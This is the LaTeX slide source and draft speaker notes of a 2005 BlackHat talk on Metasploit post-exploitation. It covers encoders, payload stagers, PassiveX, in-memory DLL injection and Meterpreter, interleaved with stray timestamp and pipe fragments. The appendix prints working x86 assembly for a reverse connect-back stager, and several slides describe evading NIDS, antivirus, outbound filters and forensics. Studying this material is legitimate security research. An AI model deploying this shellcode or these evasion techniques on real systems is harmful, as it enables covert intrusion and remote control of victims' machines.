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\title{Beyond EIP}
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\author[spoonm \& skape] {spoonm \& skape}
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\date[BlackHat 2005] {BlackHat, 2005}
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\subject{Beyond EIP}
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\titlepage
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\pdfpart{Introduction}
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\begin{frame}[t]
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\frametitle{Who are we?}
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\begin{sitemize}
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\item spoonm
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\begin{sitemize}
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\item Full-time student
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\item Metasploit developer since late 2003
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\end{sitemize}
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\item skape
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\item Lead software developer by day
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\item Independent security researcher by night
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\item Joined the Metasploit project in 2004
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\end{sitemize}
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\end{sitemize}
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\end{frame}
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\begin{frame}[t]
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\frametitle{What's this presentation about?}
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\begin{sitemize}
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\item What it's not about
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\begin{sitemize}
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\item New exploit / attack vectors
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\item New exploitation techniques
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\item Oday, bugs, etc
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\end{sitemize}
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\pause
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\item What it is about
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\begin{sitemize}
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\item Cools stuff to down after owning EIP
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\item The techniques to do it
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\item Our tools to support it
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\end{sitemize}
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\end{frame}
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\begin{frame}[t]
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\frametitle{Plan of attack}
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\item Shellcode infrastructure
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\item How it works / Background
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\item Recent tools, tricks, and techniques
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\item Post-exploitation tools
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\item Introduction, previous tools
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\item The technology behind ours tools
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\item Applications to evasion and anti-forensics
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\item Crazy cool features for the end-user
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\end{frame}
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\begin{frame}[t]
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\frametitle{Our definitions: the exploitation cycle}
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\begin{sitemize}
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\item \textbf{Pre-exploitation} - Before the attack
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\begin{sitemize}
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\item Find a bug and locate the code
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\item Write the exploit
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\item Write any other tools, shellcode, etc
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\pause
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\item \textbf{Exploitation} - Leveraging the vulnerability
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\begin{sitemize}
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\item Do some recon, gather information
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\item Find a vulnerable target
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\item Get network access to vulnerable target, etc
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\item Initialize tools, infrastructure, etc
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\item Launch the exploit
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\pause
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\item \textbf{Post-exploitation} - Manipulating the target
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% NOTE:
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\item Not so much the command shell itself, but what you do with it
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\item Command shell redirection
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\item Arbitrary command execution
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\item Advanced payload interaction
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\item File access, VNC, pivoting, etc
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\pdfpart{Payload Infrastructure}
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\section{Introduction}
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\begin{frame}[t]
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\frametitle{Anatomy of a Payload}
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\item Nop sled
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\item For exploits where return is uncertain
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\item Control flows through the sled into the encoder
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\item Generally 1 byte aligned for x86
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\item Not very common for win32 exploits
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\item Encoder (aka Decoder)
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\item loops and decodes payload
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\item payload executed when finished
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\item Payload
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\item do something cool here
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\section{Pre-exploitation}
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\begin{frame}[t]
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\frametitle{Payload encoders}
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\item Robust and elegant encoders do exist
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\item SkyLined's Alpha2 x86 alphanumeric encoder
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\item Spoonm's high-permutation Shikata Ga Nai
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\pause
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\item Payload encoders generally taken for granted
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\item Most encoders use a static decoder stub
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\item Makes NIDS signatures easy to write
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\begin{frame}[t]
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\frametitle{NOP generators}
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\item NOP generation hasn't publicly changed much
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\item Most PoC exploits use predictable single-byte NOPs (\texttt{0x90}), if any
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\item ADMmutate's NOP generator easily signatured by NIDS (Snort, Fnord)
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\item Not considered an important research topic to most
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\pause
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\item Still, NIDS continues to play chase the tail
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\item The mouse always has the advantage; NIDS is reactive
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\item Advanced NOP generators and encoders push NIDS to its limits
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\item Many protocols can be complex to signature (DCERPC fragmentation)
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\pause
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\item Metasploit 2.4 released with a wide-distribution
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multi-byte x86 NOP generator (Opty2)
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\section{Exploitation}
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\begin{frame}[t]
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\frametitle{Exploitation techniques}
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\item Exploitation techniques have become very mature
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\item Linux/BSD/Solaris techniques are largely unchanged
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\item Windows heap overflows can be made more reliable (Oded/Shok)
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\item Windows SEH overwrites make exploitation easy, even on XPSP2
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\pause
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\item Exploitation vectors have been beaten to death
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\item ...so we wont be talking about them
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\section{Post-exploitation}
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\begin{frame}[t]
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\frametitle{Standard payloads}
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\item Standard payloads provide the most basic manipulation
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of a target
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\item Port-bind command shell
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\item Reverse (connectback) command shell
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\item Arbitrary command execution
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\item Nearly all PoC exploits use standard payloads
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\item Command shells have poor automation support
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\item Platform dependent intrinsic commands and
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scripting
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\item Reliant on the set of applications installed on the
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\item Hindered by chroot jails and host-based ACLs
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\frametitle{``Advantage'' payloads}
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\item Advantage payloads provide enhanced manipulation of
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hosts, commonly through the native API
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\item Help to reduce the tediousness of writing payloads
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\item Core ST's InlineEgg
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% TODO: Elaborate on InlineEgg
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% TODO: others...
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\pdfpart{Payload Stagers}
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\frametitle{What are payload stagers?}
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\item Payload stagers are small stubs that load and execute other
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payloads
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\item The payloads that are executed are known as stages
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\item Stages perform arbitrary tasks, such as spawning a
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shell
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\item Stagers are typically network based and follow three
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basic steps
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\item Establish connection to attacker (reverse,
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portbind, findsock)
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\item Read in a payload from the connection
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\item Execute a payload with the connection in known a register
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\item The three steps make it so stages are connection method
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independent
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\item No need to have command shell payloads for
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\frametitle{Why are payload stagers useful?}
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\item Some vulnerabilities have limited space for the
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initial payload
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\item Typically much smaller than the stages
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they execute
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\item Eliminate the need to re-implement payloads for each
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connection method
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\item Provide an abstract way for getting arbitrary code
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\section{Windows Ordinal Stagers}
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\subsection{Overview}
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\frametitle{Windows ordinal stagers}
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\item Technique from Oded's lightning talk at core04
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\item Uses static ordinals in \texttt{WS2\_32.DLL} to locate symbol
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\item Compatible with all versions of Windows (including 9X)
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findsock stagers
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\item Leads to very tiny win32 stagers (92 byte reverse, 93
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byte findsock)
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\item Detailed write-up can be found in reference materials
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\frametitle{How ordinal stagers work}
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\item Ordinals are unique numbers that identify exported
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symbols in PE files
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\item Each ordinal can be used to resolve the address of an
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exported symbol
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\item Most of the time, ordinals are incremented linearly by the
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linker
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symbols to use the same ordinal every build
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referred to as static
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\item Using an image's exports by ordinal instead of by name
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ordinals are known-static
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\item Very few PE files use known-static ordinals, but
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\texttt{WS2\_32.DLL} is one that does
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\item 30 symbols use static ordinals in
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\texttt{WS2\_32.DLL}
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\subsection{Implementation}
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\begin{frame}[t]
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\frametitle{Implementing a reverse ordinal stager}
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\item Locate the base address of \texttt{WS2\_32.DLL}
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\item Extract the Peb->Ldr pointer
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\item Extract Flink from the InInitOrderModuleList
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\item Loop through loaded modules comparing module names
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\item Module name is stored in unicode, but can be
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partially translated to ANSI
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\item Once \texttt{WS2\_32.DLL} is found, extract its
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BaseAddress
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\pause
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\item Resolve \texttt{socket}, \texttt{connect},
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and \texttt{recv}
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\begin{sitemize}
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\item Use static ordinals to index the Export Directory Address Table
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\end{sitemize}
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\pause
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\item Allocate a socket, connect to the attacker,
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and read in the next payload
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\pause
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\item Requires that \texttt{WS2\_32.DLL} already be loaded
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in the target process
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\section{PassiveX}
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\subsection{Overview}
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\begin{frame}[t]
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\frametitle{PassiveX}
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\begin{sitemize}
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\item Robust payload stager capable of bypassing restrictive
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outbound filters
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\item Compatible with Windows 2000+ running Internet
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Explorer 6.0+
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\item Uses HTTP to communicate with attacker
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\item Provides an alternate vector for library injection via
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ActiveX
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\item Detailed write-up can be found in reference materials
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\end{sitemize}
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\end{frame}
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\begin{frame}[t]
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\frametitle{How PassiveX works}
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\begin{sitemize}
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\item Enables support for both signed and unsigned ActiveX
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controls in the \texttt{Internet} zone.
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\begin{sitemize}
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\pause
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\item Necessary because administrators may have disabled
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ActiveX support for security reasons
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\end{sitemize}
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\pause
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\item Launches a hidden instance of Internet Explorer
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\pause
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\item Internet Explorer loads a page that the attacker
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has put an embedded ActiveX control on
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\pause
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\item Internet Explorer loads and executes the ActiveX
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control
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\end{sitemize}
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\end{frame}
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2005-06-06 06:46:41 +00:00
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\begin{frame}[t]
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\frametitle{Why is PassiveX useful?}
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\begin{sitemize}
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\item Relatively small (roughly 400 byte) stager that does not
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|
|
directly interact with the network
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\pause
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\item Bypasses common outbound filters by tunneling through
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HTTP
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\pause
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\item Automatically uses proxy settings defined in Internet
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|
Explorer
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\pause
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|
\item Bypasses trusted application restrictions (ZoneAlarm)
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\pause
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\item ActiveX technology allows the attacker to implement
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|
|
complex code in higher level languages (C, C++, VB)
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|
\begin{sitemize}
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|
|
\item Eliminates the need to perform complicated tasks
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|
|
from assembly
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\item ActiveX controls are functionally equivalent to
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|
|
executables
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\end{sitemize}
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\end{sitemize}
|
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\end{frame}
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|
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|
\subsection{Implementation}
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|
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|
|
|
\begin{frame}[t]
|
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|
|
|
\frametitle{Implementing the PassiveX stager}
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|
\begin{sitemize}
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|
|
\item Enable download and execution of ActiveX controls
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|
|
\begin{sitemize}
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|
|
\item Open the current user's \texttt{Internet} zone
|
|
|
|
registry key
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|
|
\item Enable four settings
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|
|
\begin{sitemize}
|
|
|
|
\item \texttt{Download signed ActiveX controls}
|
|
|
|
\item \texttt{Download unsigned ActiveX controls}
|
|
|
|
\item \texttt{Run ActiveX controls and plugins}
|
|
|
|
\item \texttt{Initialize and script ActiveX controls not
|
|
|
|
marked as safe}
|
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|
|
\end{sitemize}
|
|
|
|
\end{sitemize}
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Launch a hidden instance of Internet Explorer pointed
|
|
|
|
at a URL the attacker controls
|
|
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|
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|
|
\pause
|
|
|
|
\item Internet Explorer then loads and executes the attacker's
|
|
|
|
ActiveX control
|
|
|
|
\end{sitemize}
|
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|
|
\end{frame}
|
2005-06-11 20:50:51 +00:00
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|
2005-06-12 07:45:43 +00:00
|
|
|
\subsection{Example ActiveX: HTTP Tunneling Control}
|
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|
|
|
\begin{frame}[t]
|
2005-06-11 20:50:51 +00:00
|
|
|
\frametitle{An example ActiveX control}
|
|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item ActiveX controls may choose to build an HTTP tunnel
|
|
|
|
to the attacker
|
|
|
|
\item HTTP tunnels provide a streaming connection over HTTP
|
|
|
|
requests and responses
|
|
|
|
\item Useful for tunneling other protocols, like TCP,
|
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|
|
through HTTP
|
|
|
|
|
|
|
|
% TODO: elaborate?
|
|
|
|
\end{sitemize}
|
2005-06-06 06:46:41 +00:00
|
|
|
\end{frame}
|
2005-06-11 20:50:51 +00:00
|
|
|
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|
|
|
\subsection{Pros \& Cons}
|
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|
|
|
\begin{frame}[t]
|
|
|
|
\frametitle{Pros \& cons}
|
2005-06-11 20:50:51 +00:00
|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item \textbf{Pros}
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Bypasses restrictive outbound filters at both a
|
|
|
|
network and application level
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Provides a method for using complex code written
|
|
|
|
in a high-level language
|
|
|
|
\end{sitemize}
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item \textbf{Cons}
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Does not work when run as a non-privileged user
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Internet Explorer refuses to download ActiveX
|
|
|
|
controls
|
|
|
|
\end{sitemize}
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Requires the ActiveX control to restore
|
|
|
|
\texttt{Internet} zone settings
|
|
|
|
\begin{sitemize}
|
|
|
|
\item May leave the machine vulnerable to compromise
|
|
|
|
if not done
|
|
|
|
\end{sitemize}
|
|
|
|
\end{sitemize}
|
|
|
|
|
|
|
|
\end{sitemize}
|
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|
|
|
\end{frame}
|
2005-06-09 02:52:53 +00:00
|
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|
|
2005-06-11 21:52:04 +00:00
|
|
|
\pdfpart{Payload Stages}
|
|
|
|
|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
2005-06-11 21:52:04 +00:00
|
|
|
\frametitle{What are payload stages?}
|
|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Payload stages are executed by payload stagers and
|
|
|
|
perform arbitrary tasks
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Some examples of payload stages include
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Execute a command shell and redirect IO to the
|
|
|
|
attacker
|
|
|
|
\item Execute an arbitrary command
|
|
|
|
\item Download an executable from a URL and execute it
|
|
|
|
\end{sitemize}
|
|
|
|
\end{sitemize}
|
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|
|
|
\end{frame}
|
2005-06-11 21:52:04 +00:00
|
|
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|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
2005-06-11 21:52:04 +00:00
|
|
|
\frametitle{Why are payload stages useful?}
|
2005-06-06 06:46:41 +00:00
|
|
|
|
2005-06-11 21:52:04 +00:00
|
|
|
\begin{sitemize}
|
|
|
|
\item Can be executed independent of connection method
|
|
|
|
(portbind, reverse)
|
|
|
|
\begin{sitemize}
|
|
|
|
\item All stagers store the connection file descriptor
|
|
|
|
in a common register
|
|
|
|
\end{sitemize}
|
2005-06-09 02:52:53 +00:00
|
|
|
|
2005-06-11 21:52:04 +00:00
|
|
|
\pause
|
|
|
|
\item Not subject to size limitations of individual
|
|
|
|
vulnerabilities
|
|
|
|
\end{sitemize}
|
2005-06-06 06:46:41 +00:00
|
|
|
\end{frame}
|
|
|
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|
2005-06-09 02:52:53 +00:00
|
|
|
\section{Library Injection}
|
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|
|
|
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|
|
|
\subsection{Overview}
|
|
|
|
|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
2005-06-11 21:52:04 +00:00
|
|
|
\frametitle{The library injection stage}
|
|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Payload stage that provides a method of loading a
|
|
|
|
library (DLL) into the exploited process
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Libraries are functionally equivalent to executables
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Full access to various OS-provided APIs
|
|
|
|
\item Can do anything an executable can do
|
|
|
|
\end{sitemize}
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Library injection is covert; no new processes
|
|
|
|
need to be created
|
|
|
|
|
|
|
|
\pause
|
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|
|
|
\item Detailed write-up can be found in reference materials
|
2005-06-11 21:52:04 +00:00
|
|
|
|
|
|
|
% TODO: elaborate?
|
|
|
|
\end{sitemize}
|
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|
|
\end{frame}
|
2005-06-11 21:52:04 +00:00
|
|
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|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
|
|
|
\frametitle{Types of library injection}
|
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|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Three primary methods exist to inject a library
|
|
|
|
\begin{senumerate}
|
|
|
|
\item \textbf{On-Disk}: loading a library from the target's
|
|
|
|
harddrive or a file share
|
|
|
|
\item \textbf{In-Memory}: loading a library entirely from memory
|
|
|
|
\item \textbf{ActiveX}: loading a library through Internet
|
|
|
|
Explorer's ActiveX support
|
|
|
|
\end{senumerate}
|
|
|
|
\item On-Disk and In-Memory techniques are conceptually
|
|
|
|
portable to non-Windows platforms
|
|
|
|
\end{sitemize}
|
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|
|
\end{frame}
|
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|
|
|
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|
|
|
\begin{frame}[t]
|
|
|
|
\frametitle{On-Disk library injection}
|
|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Loading a library from disk has been the defacto
|
|
|
|
standard for Windows payloads
|
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|
|
\item Loading a library from a file share was first
|
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|
|
|
discussed by Brett Moore
|
2005-06-12 04:51:21 +00:00
|
|
|
\end{sitemize}
|
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|
|
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|
2005-06-12 04:51:21 +00:00
|
|
|
\pause
|
|
|
|
\begin{sitemize}
|
|
|
|
\item On-Disk injection subject to filtering by Antivirus due to
|
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|
|
|
filesystem access
|
|
|
|
\item Requires that the library file exist on the target's
|
|
|
|
harddrive or that the file share be reachable
|
|
|
|
\end{sitemize}
|
|
|
|
\end{frame}
|
|
|
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|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
2005-06-11 21:52:04 +00:00
|
|
|
\frametitle{In-Memory library injection}
|
|
|
|
|
|
|
|
\begin{sitemize}
|
|
|
|
\item First Windows implementation released with Metasploit 2.2
|
|
|
|
|
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|
|
\pause
|
|
|
|
\item Libraries are loaded entirely from memory
|
|
|
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|
|
\pause
|
|
|
|
\item No disk access means no Antivirus interference
|
|
|
|
|
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|
|
\pause
|
|
|
|
\item Most stealthy form of library injection thus far
|
|
|
|
identified
|
|
|
|
\end{sitemize}
|
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|
|
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\end{frame}
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\begin{frame}[t]
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\frametitle{ActiveX library injection}
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\item Uses Internet Explorer's ActiveX support to inject a DLL
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\item Reliant on zone restrictions being set to permit ActiveX
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\pause
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\item Subject to filtering by Antivirus
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\pause
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\item Implemented by the PassiveX stager described earlier
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\end{frame}
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\subsection{In-Memory Implementation on Windows}
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\begin{frame}[t]
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\frametitle{In-Memory library injection on Windows}
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\begin{sitemize}
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\item Library loading on Windows is provided through \texttt{NTDLL.DLL}
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\item \texttt{NTDLL.DLL} only supports loading libraries from disk
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\pause
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\item To load libraries from memory, \texttt{NTDLL.DLL} must be tricked
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\pause
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\item When loading libraries, low-level system calls are used to interact with the library on disk
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\begin{sitemize}
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\item \texttt{NtOpenFile}
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\item \texttt{NtCreateSection}
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\item \texttt{NtMapViewOfSection}
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\end{sitemize}
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\item These routines can be hooked to change their behavior to operate against a memory region
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\pause
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\begin{sitemize}
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\item Once hooked, calling \texttt{LoadLibraryA} with a unique pseudo file name is all that's needed
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\end{sitemize}
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\end{frame}
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\subsection{Example DLL: VNC}
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\begin{frame}[t]
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\frametitle{Library injection in action: VNC}
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\begin{sitemize}
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\item VNC is a remote desktop protocol
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\item Very useful for remote administration beyond simple CLIs
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\end{sitemize}
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\pause
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\begin{sitemize}
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\item First demonstrated at BlackHat USA 2004
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\pause
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\item Metasploit team converted RealVNC to a standalone DLL
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\begin{sitemize}
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\item No non-standard file dependencies
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\item No installation required
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\item Does not make any registry or filesystem changes
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\item Does not listen on a port; uses payload connection as a VNC client
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\end{sitemize}
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\pause
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\item By using the generic library loading stage, VNC was simply plugged in
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\end{sitemize}
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\pause
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\begin{sitemize}
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\item Extremely useful when illustrating security weaknesses
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\item Suits understand mouse movement much better than command lines
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\end{sitemize}
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\end{frame}
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\section{Meterpreter}
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\subsection{Overview}
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\begin{frame}[t]
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\frametitle{The Meterpreter stage}
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\begin{sitemize}
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\item First released with Metasploit 2.3
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\item Implemented using library injection technology
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\pause
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\item Uses payload connection for communicating with
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attacker
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\begin{sitemize}
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\item Especially powerful with findsock payloads; no new
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connection established
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\end{sitemize}
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\end{sitemize}
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\pause
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\begin{sitemize}
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\item Primary goals are to be...
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\begin{sitemize}
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\item \textbf{Stealthy}: no disk access and no new process by default
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\item \textbf{Powerful}: channelized communication and robust protocol
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\item \textbf{Extensible}: run-time augmentation of features with extensions
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\end{sitemize}
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\end{sitemize}
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\pause
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\begin{sitemize}
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\item Detailed write-up can be found in reference materials
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\end{sitemize}
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\end{frame}
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\begin{frame}[t]
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\frametitle{Why is Meterpreter useful?}
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\begin{sitemize}
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\item Platform independent design
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\begin{sitemize}
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\item Current implementation is Windows specific, but
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|
concepts are portable
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\end{sitemize}
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\pause
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\item Standard interface makes it possible to use one client
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to perform common actions on various platforms
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\begin{sitemize}
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\pause
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\item Execute a command interpreter and channelize the
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output
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\pause
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\item Turn on the target's USB webcam and begin
|
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|
|
streaming video
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\end{sitemize}
|
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\pause
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|
\item Programmatically automatable
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|
\begin{sitemize}
|
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|
|
\item RPC-like protocol allows arbitrarily complex tasks
|
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|
|
to be performed with a common interface
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\item Extension-based architecture makes Meterpreter
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|
|
completely flexible
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\end{sitemize}
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\pause
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|
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\item Use of in-memory library injection makes it possible
|
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|
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to run in a stealth fashion
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\end{sitemize}
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\end{frame}
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2005-06-12 07:45:43 +00:00
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\subsection{Implementation}
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\begin{frame}[t]
|
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\frametitle{Architecture - design goals}
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\begin{sitemize}
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\item Very flexible protocol; should adapt to extension
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|
|
requirements without modification
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\pause
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\item Should expose a channelized communication system for
|
2005-06-12 07:45:43 +00:00
|
|
|
extensions
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\pause
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\item Should be as stealthy as possible
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\pause
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\item Should be portable to various platforms
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\pause
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\item Clients on one platform should work with servers on
|
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|
|
another
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\end{sitemize}
|
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\end{frame}
|
2005-06-12 07:45:43 +00:00
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2005-06-06 06:46:41 +00:00
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\begin{frame}[t]
|
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|
|
|
\frametitle{Architecture - protocol}
|
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|
|
\begin{sitemize}
|
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|
|
\item Uses TLV (\texttt{Type-Length-Value}) to support
|
|
|
|
opaque data
|
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|
|
|
|
|
\pause
|
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|
|
\item Every packet is composed of zero or more TLVs
|
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|
\pause
|
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|
\item Packets themselves are TLVs
|
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|
|
\begin{sitemize}
|
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|
|
\item Type is the packet type (request, response)
|
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|
|
\item Length is the length of the packet
|
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|
|
\item Value is zero or more embedded TLVs
|
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|
|
\end{sitemize}
|
|
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|
|
\pause
|
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|
|
\item TLVs make packet parsing simplistic and flexible
|
|
|
|
\begin{sitemize}
|
|
|
|
\item No formatting knowledge is required to parse the
|
|
|
|
packet outside of the TLV structure
|
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|
|
\end{sitemize}
|
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|
|
\end{sitemize}
|
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|
\end{frame}
|
2005-06-12 07:45:43 +00:00
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2005-06-06 06:46:41 +00:00
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|
\begin{frame}[t]
|
2005-06-12 07:45:43 +00:00
|
|
|
\frametitle{Core client/server interface}
|
|
|
|
|
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|
|
\begin{sitemize}
|
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|
|
\item Minimal interface to support the loading of extensions
|
|
|
|
|
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|
|
\pause
|
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|
|
\item Implements basic packet transmission and dispatching
|
|
|
|
\item Exposes channel allocation and management to
|
|
|
|
extensions
|
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|
\pause
|
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|
|
\item Also includes support for migrating the server to
|
|
|
|
another running process
|
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|
|
\end{sitemize}
|
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\end{frame}
|
2005-06-12 07:45:43 +00:00
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|
|
\subsection{Example Extension: Stdapi}
|
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|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
|
|
|
\frametitle{Meterpreter extensions in action: Stdapi}
|
2005-06-12 07:57:19 +00:00
|
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|
|
|
\begin{sitemize}
|
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|
|
\item Included in Metasploit 3.0
|
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|
|
\item Combination of previous extensions into standard
|
|
|
|
interface
|
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|
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|
\pause
|
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|
|
\item Provides access to standard OS features
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Process execution, enumeration, and manipulation
|
|
|
|
\item Registry manipulation
|
|
|
|
\item File reading, writing, uploading, and downloading
|
|
|
|
\item Network pivoting
|
|
|
|
\item Route table and interface manipulation
|
|
|
|
\item \emph{Much} more
|
|
|
|
\end{sitemize}
|
|
|
|
|
|
|
|
\pause
|
|
|
|
\item Feature set provides for robust client-side automation
|
|
|
|
\end{sitemize}
|
2005-06-06 06:46:41 +00:00
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|
|
\end{frame}
|
2005-06-09 02:52:53 +00:00
|
|
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|
|
|
\section{DispatchNinja}
|
2005-06-06 06:46:41 +00:00
|
|
|
\begin{frame}[t]
|
|
|
|
\frametitle{Cool dN stuff here}
|
|
|
|
\end{frame}
|
|
|
|
|
2005-06-09 02:52:53 +00:00
|
|
|
\pdfpart{Post-Exploitation Suites}
|
2005-06-06 06:46:41 +00:00
|
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|
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|
|
\section{Post-Exploitation Suites}
|
|
|
|
\subsection{Motivations \& Goals}
|
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|
2005-06-11 20:50:51 +00:00
|
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|
\begin{frame}[t]
|
|
|
|
\frametitle{stuff}
|
|
|
|
\end{frame}
|
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|
|
\pdfpart{Conclusion}
|
|
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|
\begin{frame}[t]
|
|
|
|
\frametitle{Reference Material}
|
|
|
|
|
|
|
|
\textbf{Payload Stagers}
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Windows Ordinal Stagers \\
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|
|
|
\footnotesize{\url{http://www.metasploit.com/users/spoonm/ordinals.txt}}
|
|
|
|
\item PassiveX \\
|
|
|
|
\footnotesize{\url{http://www.uninformed.org/?v=1&a=3&t=sumry}}
|
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\end{sitemize}
|
2005-06-11 21:52:04 +00:00
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|
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\textbf{Payload Stages}
|
|
|
|
\begin{sitemize}
|
|
|
|
\item Library Injection \\
|
|
|
|
\footnotesize{\url{http://www.nologin.org/Downloads/Papers/remote-library-injection.pdf}}
|
2005-06-12 04:51:21 +00:00
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\item Meterpreter \\
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|
|
\footnotesize{\url{http://www.nologin.org/Downloads/Papers/meterpreter.pdf}}
|
2005-06-11 21:52:04 +00:00
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\end{sitemize}
|
2005-06-11 20:50:51 +00:00
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\end{frame}
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\appendix
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\pdfpart{Appendix: Payload Stagers}
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\section{Windows Ordinal Stagers}
|
|
|
|
\subsection{Reverse Ordinal Stager Implementation}
|
|
|
|
\begin{frame}[fragile]
|
|
|
|
\frametitle{Locating WS2\_32.DLL's base address}
|
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|
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|
|
\footnotesize{
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\begin{verbatim}
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FC cld ; clear direction (lodsd)
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31DB xor ebx,ebx ; zero ebx
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648B4330 mov eax,[fs:ebx+0x30] ; eax = PEB
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8B400C mov eax,[eax+0xc] ; eax = PEB->Ldr
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8B501C mov edx,[eax+0x1c] ; edx = Ldr->InitList.Flink
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8B12 mov edx,[edx] ; edx = LdrModule->Flink
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8B7220 mov esi,[edx+0x20] ; esi = LdrModule->DllName
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AD lodsd ; eax = [esi] ; esi += 4
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AD lodsd ; eax = [esi] ; esi += 4
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4E dec esi ; esi--
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0306 add eax,[esi] ; eax = eax + [esi]
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; (4byte unicode->ANSI)
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3D32335F32 cmp eax,0x325f3332 ; eax == 2_32?
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75EF jnz 0xd ; not equal, continue loop
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\end{verbatim}
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}
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\end{frame}
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\begin{frame}[fragile]
|
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\frametitle{Resolve symbols using static ordinals}
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\footnotesize{
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\begin{verbatim}
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8B6A08 mov ebp,[edx+0x8] ; ebp = LdrModule->BaseAddr
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8B453C mov eax,[ebp+0x3c] ; eax = DosHdr->e_lfanew
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8B4C0578 mov ecx,[ebp+eax+0x78]; ecx = Export Directory
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8B4C0D1C mov ecx,[ebp+ecx+0x1c]; ecx = Address Table Rva
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01E9 add ecx,ebp ; ecx += ws2base
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8B4158 mov eax,[ecx+0x58] ; eax = socket rva
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01E8 add eax,ebp ; eax += ws2base
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8B713C mov esi,[ecx+0x3c] ; esi = recv rva
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01EE add esi,ebp ; esi += ws2base
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03690C add ebp,[ecx+0xc] ; ebp += connect rva
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\end{verbatim}
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}
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\end{frame}
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\begin{frame}[fragile]
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\frametitle{Create the socket, connect back, recv, and jump}
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\footnotesize{
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\begin{verbatim}
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; Use chained call-stacks to save space
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; connect returns to recv returns to buffer (fd in edi)
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53 push ebx ; push 0
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6A01 push byte +0x1 ; push SOCK_STREAM
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6A02 push byte +0x2 ; push AF_INET
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FFD0 call eax ; call socket
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97 xchg eax,edi ; edi = fd
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687F000001 push dword 0x100007f ; push sockaddr_in
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68020010E1 push dword 0xe1100002
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89E1 mov ecx,esp ; ecx = &sockaddr_in
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53 push ebx ; push flags (0)
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B70C mov bh,0xc ; ebx = 0x0c00
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57 push edi ; push fd
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51 push ecx ; push buffer
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6A10 push byte +0x10 ; push addrlen (16)
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57 push edi ; push fd
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FFE5 jmp ebp ; call connect
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\end{frame}
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\end{document}
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NOTEZ
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First
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What aren't we talking about
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- New exploit vectors
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- New exploit techniques
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- Bugs in any shape, size, or form
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What is encoding, and why do we do it?
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- Bad character avoidence, don't need special case payloads for that..
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- Added bonus of evasion
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- Nice because you usually just need to write 1 good encoder...
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What is staging, and why?
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- Size problem
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- Multiple your aresenal, 5 stagers + 5 stages, 10 shellcodes, but 25 payloads
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Should move around the ordinal information, explain what ordinals are first.
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Talk about how ordinals are diffined to be static in their .lib
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List some of the limitations for ws2_32 (like no WSASocket, and what that means
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in terms of writing shellcode, pipe shell, etc).
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Post exploitation.
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What's most important to them
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1) Features
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2) Evasion
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3) Technology.
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The order we should present is reverse, save the best for last
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1) introduce and explain the technology
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- dll injection
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- TLV protocol, async, threadsafe, meterp sharing, etc
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- Ruby APIs (how they emulate the native APIs, native API replacement, etc)
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2) explain how this has the added benefit against anti-forensics
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- no disk access
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- anti-debugging
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- page locking / swapping prevention
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- encryption
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- connection reuse and tunneling / channels
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- no filesystem .exe loading...
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3) explain the type of features an end-pentester would see
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- pivoting / portfwd
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- file upload / download, list, run, etc
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- channels, multiple command shells, hung terminal doesn't totally fuck you
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- vnc / idle time stffu (ties into stealthyness)
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Possible flashy demos:
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- migrating
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- Possibly change window colors, move windows, etc in the process we migrate
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to. Was shok's idea, so you could "visualize" the migrate, etc.
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- Do some flashy no-disk .exe injection, send up an opengl demo!
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Interesting asides:
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- Great for testing (Metatest, bringing you a better Metasploit Framework!)
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- make a insanely great remote control application (automation)
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Future stuff:
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- Botnetesk type stuff / mesh
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- Listening meterp / multiple control channels / better collaboration..
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OLD ----
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Notes on post-exploitation
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- Core Impact / Syscall Proxying
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2005-06-12 08:15:10 +00:00
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+ Mainly written to support their feature set, not to expose it to an end
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user. Don't think you're going to get much access to the syscall libraries,
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they are all written in C and dlls for the most part it seems.
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+ you get their nice features, pivoting, file access, minishell, etc, but
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for anything beyond that, you have to upgrade your agent, and then I don't
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believe those are using syscall proxying type things anymore. I think some
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of them bundle python interpreters...
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2005-06-12 08:09:30 +00:00
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+ how it works
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+ really cool, and simple
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+ no need to write vicitim-side code for any calls you want to make
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+ inefficent for some types of things (port scanning)
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- CANVAS
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2005-06-12 08:15:10 +00:00
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- mosdef
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- model is very similar to dN
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- you have to write a client and server component
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- build environment not seperated, have you write your client side component
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in wanna-be-aitel c, and have you have it in a python script.
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- he has an API to do some stuff, but mostly low level stuff, and nothing
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high level and cool.
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- like all of his stuff, it's very rough and primitive seeming. I'm sure,
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just like spike, you can do some cool stuff with it, but it's like building
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a car with a rock, or something...
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2005-06-12 08:09:30 +00:00
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+ Code is dirty....
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+
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\end{comment}
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